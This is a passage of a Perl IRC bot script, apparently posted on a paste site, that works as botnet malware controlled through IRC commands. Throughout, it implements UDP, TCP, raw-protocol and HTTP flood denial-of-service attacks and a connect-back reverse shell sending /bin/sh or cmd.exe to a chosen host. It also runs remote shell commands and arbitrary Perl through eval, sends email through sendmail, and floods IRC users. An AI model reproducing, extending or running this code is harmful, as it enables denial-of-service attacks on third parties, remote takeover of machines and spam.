  558. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-1 DDOS] 9,1Attack for 12".$1." 9,1finished in 12".$dtime." 9,1seconds9,1. ");
  559. }
  560. ##############
  561. if ($funcarg =~ /^udp2\s+(.*)\s+(\d+)\s+(\d+)/) {
  562. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-2 DDOS] 9,1Attacking 12".$1." 9,1with 12".$2." 9,1Kb Packets for 12".$3." 9,1seconds. ");
  563. my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
  564. $dtime = 1 if $dtime == 0;
  565. my %bytes;
  566. $bytes{igmp} = $2 * $pacotes{igmp};
  567. $bytes{icmp} = $2 * $pacotes{icmp};
  568. $bytes{o} = $2 * $pacotes{o};
  569. $bytes{udp} = $2 * $pacotes{udp};
  570. $bytes{tcp} = $2 * $pacotes{tcp};
  571. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-2 DDOS] 9,1Results 12".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." 9,1Kb in 12".$dtime." 9,1seconds to 12".$1."9,1. ");
  572. }
  573. ##############
  574. if ($funcarg =~ /^udp3\s+(.*)\s+(\d+)\s+(\d+)/) {
  575. return unless $pacotes;
  576. socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  577. my $alvo=inet_aton("$1");
  578. my $porta = "$2";
  579. my $dtime = "$3";
  580. my $pacote;
  581. my $pacotese;
  582. my $fim = time + $dtime;
  583. my $pacota = 1;
  584. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-3 DDOS] 9,1Attacking 12".$1." 9,1On Port 12".$porta." 9,1for 12".$dtime." 9,1seconds. ");
  585. while (($pacota == "1") && ($pacotes == "1")) {
  586. $pacota = 0 if ((time >= $fim) && ($dtime != "0"));
  587. $pacote= $rand x $rand x $rand;
  588. $porta = int(rand 65000) +1 if ($porta == "0");
  589. send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
  590. }
  591. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-3 DDOS] 9,1Results 12".$pacotese." 9,1Kb in 12".$dtime." 9,1seconds to 12".$1."9,1. ");
  592. }
  593. ##############
  594.  
  595. ##############
  596. if ($funcarg =~ /^tcp\s+(.*)\s+(\d+)\s+(\d+)/) {
  597. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [TCP DDOS] 9,1Attacking 12".$1.":".$2." 9,1for 12".$3." 9,1seconds. ");
  598. my $itime = time;
  599. my ($cur_time);
  600. $cur_time = time - $itime;
  601. while ($3>$cur_time){
  602. $cur_time = time - $itime;
  603. &tcpflooder("$1","$2","$3");
  604. }
  605. sendraw($IRC_cur_socket,"PRIVMSG $printl :4,1 [TCP DDOS] 9,1Attack ended on: 12".$1.":".$2."9,1. ");
  606. }
  607. ##############
  608. if ($funcarg =~ /^http\s+(.*)\s+(\d+)/) {
  609. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[HTTP DDOS] 9,1Attacking 12".$1." 9,1on port 80 for 12".$2." 9,1seconds. ");
  610. my $itime = time;
  611. my ($cur_time);
  612. $cur_time = time - $itime;
  613. while ($2>$cur_time){
  614. $cur_time = time - $itime;
  615. my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
  616. print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
  617. close($socket);
  618. }
  619. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [HTTP DDOS] 9,1Attacking ended on: 12".$1."9,1. ");
  620. }
  621. ##############
  622. if ($funcarg =~ /^cback\s+(.*)\s+(\d+)/) {
  623. my $host = "$1";
  624. my $port = "$2";
  625. my $proto = getprotobyname('tcp');
  626. my $iaddr = inet_aton($host);
  627. my $paddr = sockaddr_in($port, $iaddr);
  628. my $shell = "/bin/sh -i";
  629. if ($^O eq "MSWin32") {
  630. $shell = "cmd.exe";
  631. }
  632. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [ConnectBack] 9,1Connecting to 12$host:$port ");
  633. socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  634. connect(SOCKET, $paddr) or die "connect: $!";
  635. open(STDIN, ">&SOCKET");
  636. open(STDOUT, ">&SOCKET");
  637. open(STDERR, ">&SOCKET");
  638. system("$shell");
  639. close(STDIN);
  640. close(STDOUT);
  641. close(STDERR);
  642. }
  643. ##############
  644. if ($funcarg =~ /^mail\s+(.*)\s+(.*)\s+(.*)\s+(.*)/) {
  645. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Mailer] 9,1Sending email to: 12$3 ");
  646. $subject = $1;
  647. $sender = $2;
  648. $recipient = $3;
  649. @corpo = $4;
  650. $mailtype = "content-type: text/html";
  651. $sendmail = '/usr/sbin/sendmail';
  652. open (SENDMAIL, "| $sendmail -t");
  653. print SENDMAIL "$mailtype\n";
  654. print SENDMAIL "Subject: $subject\n";
  655. print SENDMAIL "From: $sender\n";
  656. print SENDMAIL "To: $recipient\n\n";
  657. print SENDMAIL "@corpo\n\n";
  658. close (SENDMAIL);
  659. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Mailer] 9,1Email Sended to: 12$recipient ");
  660. }
  661. exit;
  662. }
  663. }
  664. ##############
  665. if ($funcarg =~ /^ctcpflood (.*)/) {
  666. my $target = "$1";
  667. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [IRCFlood] 9,1CTCP Flooding: 12".$target." ");
  668. for (1..10) {
  669. sendraw($IRC_cur_socket, "PRIVMSG ".$target." :\001VERSION\001\n");
  670. sendraw($IRC_cur_socket, "PRIVMSG ".$target." :\001PING\001\n");
  671. }
  672. }
  673. ##############
  674. if ($funcarg =~ /^msgflood (.*)/) {
  675. my $target = "$1";
  676. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [IRCFlood] 9,1MSG Flooding: 12".$target." ");
  677. sendraw($IRC_cur_socket, "PRIVMSG ".$target." :0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...");
  678. }
  679. ##############
  680. if ($funcarg =~ /^noticeflood (.*)/) {
  681. my $target = "$1";
  682. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [IRCFlood] 9,1NOTICE Flooding: 12".$target." ");
  683. for (1..2){
  684. sendraw($IRC_cur_socket, "NOTICE ".$target." :0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...");
  685. }
  686. }
  687. ##############
  688.  
  689. ##############
  690. sub ircase {
  691. my ($kem, $printl, $case) = @_;
  692. if ($case =~ /^join (.*)/) {
  693. j("$1");
  694. }
  695. elsif ($case =~ /^part (.*)/) {
  696. p("$1");
  697. }
  698. elsif ($case =~ /^rejoin\s+(.*)/) {
  699. my $chan = $1;
  700. if ($chan =~ /^(\d+) (.*)/) {
  701. for (my $ca = 1; $ca <= $1; $ca++ ) {
  702. p("$2");
  703. j("$2");
  704. }
  705. } else {
  706. p("$chan");
  707. j("$chan");
  708. }
  709. }
  710. elsif ($case =~ /^op/) {
  711. op("$printl", "$kem") if $case eq "op";
  712. my $oarg = substr($case, 3);
  713. op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  714. }
  715. elsif ($case =~ /^deop/) {
  716. deop("$printl", "$kem") if $case eq "deop";
  717. my $oarg = substr($case, 5);
  718. deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  719. }
  720. elsif ($case =~ /^voice/) {
  721. voice("$printl", "$kem") if $case eq "voice";
  722. $oarg = substr($case, 6);
  723. voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  724. }
  725. elsif ($case =~ /^devoice/) {
  726. devoice("$printl", "$kem") if $case eq "devoice";
  727. $oarg = substr($case, 8);
  728. devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  729. }
  730. elsif ($case =~ /^msg\s+(\S+) (.*)/) {
  731. msg("$1", "$2");
  732. }
  733. elsif ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
  734. for (my $cf = 1; $cf <= $1; $cf++) {
  735. msg("$2", "$3");
  736. }
  737. }
  738. elsif ($case =~ /^ctcp\s+(\S+) (.*)/) {
  739. ctcp("$1", "$2");
  740. }
  741. elsif ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  742. for (my $cf = 1; $cf <= $1; $cf++) {
  743. ctcp("$2", "$3");
  744. }
  745. }
  746. elsif ($case =~ /^invite\s+(\S+) (.*)/) {
  747. invite("$1", "$2");
  748. }
  749. elsif ($case =~ /^newerver\s+(\S+)\s+(\S+)/) {
  750. conectar("$2", "$1", "6667");
  751. }
  752. elsif ($case =~ /^nick (.*)/) {
  753. nick("$1");
  754. }
  755. elsif ($case =~ /^raw (.*)/) {
  756. sendraw("$1");
  757. }
  758. elsif ($case =~ /^eval (.*)/) {
  759. eval "$1";
  760. }
  761. elsif ($case =~ /^join\s+(\S+)\s+(\d+)/) {
  762. sleep int(rand($2));
  763. j("$1");
  764. }
  765. elsif ($case =~ /^part\s+(\S+)\s+(\d+)/) {
  766. sleep int(rand($2));
  767. p("$1");
  768. }
  769. elsif ($case =~ /^quit/) {
  770. quit();
  771. }
  772. }
  773. ##############
  774. sub shell {
  775. my $printl=$_[0];
  776. my $comando=$_[1];
  777. if ($comando =~ /cd (.*)/) {
  778. chdir("$1") || msg("$printl", "No such file or directory");
  779. return;
  780. } elsif ($pid = fork) {
  781. waitpid($pid, 0);
  782. } else {
  783. if (fork) {
  784. exit;
  785. } else {
  786. my @resp=`$comando 2>&1 3>&1`;
  787. my $c=0;
  788. foreach my $linha (@resp) {
  789. $c++;
  790. chop $linha;
  791. sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  792. if ($c == "$linas_max") {
  793. $c=0;
  794. sleep $sleep;
  795. }
  796. }
  797. exit;
  798. }
  799. }
  800. }
  801. ##############
  802. sub udpflooder {
  803. my $iaddr = inet_aton($_[0]);
  804. my $msg = 'A' x $_[1];
  805. my $ftime = $_[2];
  806. my $cp = 0;
  807. my (%pacotes);
  808. $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  809. socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  810. socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  811. socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  812. socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  813. return(undef) if $cp == 4;
  814. my $itime = time;
  815. my ($cur_time);
  816. while ( 1 ) {
  817. for (my $port = 1;
  818. $port <= 65000; $port++) {
  819. $cur_time = time - $itime;
  820. last if $cur_time >= $ftime;
  821. send(SOCK1, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{igmp}++;
  822. send(SOCK2, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{udp}++;
  823. send(SOCK3, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{icmp}++;
  824. send(SOCK4, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{tcp}++;
  825. for (my $pc = 3;
  826. $pc <= 255;$pc++) {
  827. next if $pc == 6;
  828. $cur_time = time - $itime;
  829. last if $cur_time >= $ftime;
  830. socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  831. send(SOCK5, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{o}++;
  832. }
  833. }
  834. last if $cur_time >= $ftime;
  835. }
  836. return($cur_time, %pacotes);
  837. }
  838. ##############
  839. sub tcpflooder {
  840. my $itime = time;
  841. my ($cur_time);
  842. my ($ia,$pa,$proto,$j,$l,$t);
  843. $ia=inet_aton($_[0]);
  844. $pa=sockaddr_in($_[1],$ia);
  845. $ftime=$_[2];
  846. $proto=getprotobyname('tcp');
  847. $j=0;$l=0;
  848. $cur_time = time - $itime;
  849. while ($l<1000){
  850. $cur_time = time - $itime;
  851. last if $cur_time >= $ftime;
  852. $t="SOCK$l";
  853. socket($t,PF_INET,SOCK_STREAM,$proto);
  854. connect($t,$pa)||$j--;
  855. $j++;$l++;
  856. }
  857. $l=0;
  858. while ($l<1000){
  859. $cur_time = time - $itime;
  860. last if $cur_time >= $ftime;
  861. $t="SOCK$l";
  862. shutdown($t,2);
  863. $l++;
  864. }
  865. }
  866. ##############
  867. sub msg {
  868. return unless $#_ == 1;
  869. sendraw("PRIVMSG $_[0] :$_[1]");
  870. }
  871. sub ctcp {
  872. return unless $#_ == 1;
  873. sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  874. }
  875. sub notice {
  876. return unless $#_ == 1;
  877. sendraw("NOTICE $_[0] :$_[1]");
  878. }
  879. sub op {
  880. return unless $#_ == 1;
  881. sendraw("MODE $_[0] +o $_[1]");
  882. }
  883. sub deop {
  884. return unless $#_ == 1;
  885. sendraw("MODE $_[0] -o $_[1]");
  886. }
  887. sub voice {
  888. return unless $#_ == 1;
  889. sendraw("MODE $_[0] +v $_[1]");
  890. }
  891. sub devoice {
  892. return unless $#_ == 1;
  893. sendraw("MODE $_[0] -v $_[1]");
  894. }
  895. sub j { &join(@_); }
  896. sub join {
  897. return unless $#_ == 0;
  898. sendraw("JOIN $_[0]");
  899. }
  900. sub p { part(@_); }
  901. sub part {sendraw("PART $_[0]");}
  902. sub nick {
  903. return unless $#_ == 0;
  904. sendraw("NICK $_[0]");
  905. }
  906. sub quit {
  907. sendraw("QUIT :$_[0]");
  908. exit;
  909. }
  910. sub modo {
  911. return unless $#_ == 0;
  912. sendraw("MODE $_[0] $_[1]");
  913. }
  914. sub mode { modo(@_); }
  915.  
  916. sub invite {
  917. return unless $#_ == 1;
  918. sendraw("INVITE $_[1] $_[0]");
  919. }
  920.  
  921. sub topico {
  922. return unless $#_ == 1;
  923. sendraw("TOPIC $_[0] $_[1]");
  924. }
  925. sub topic { topico(@_); }
  926.  
  927. sub away {
  928. sendraw("AWAY $_[0]");
  929. }
  930. sub back { away(); }
  931.  
  932. }
  933.  
  934. ###################
  935. ##### [ LFB ] #####
  936. ###################
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement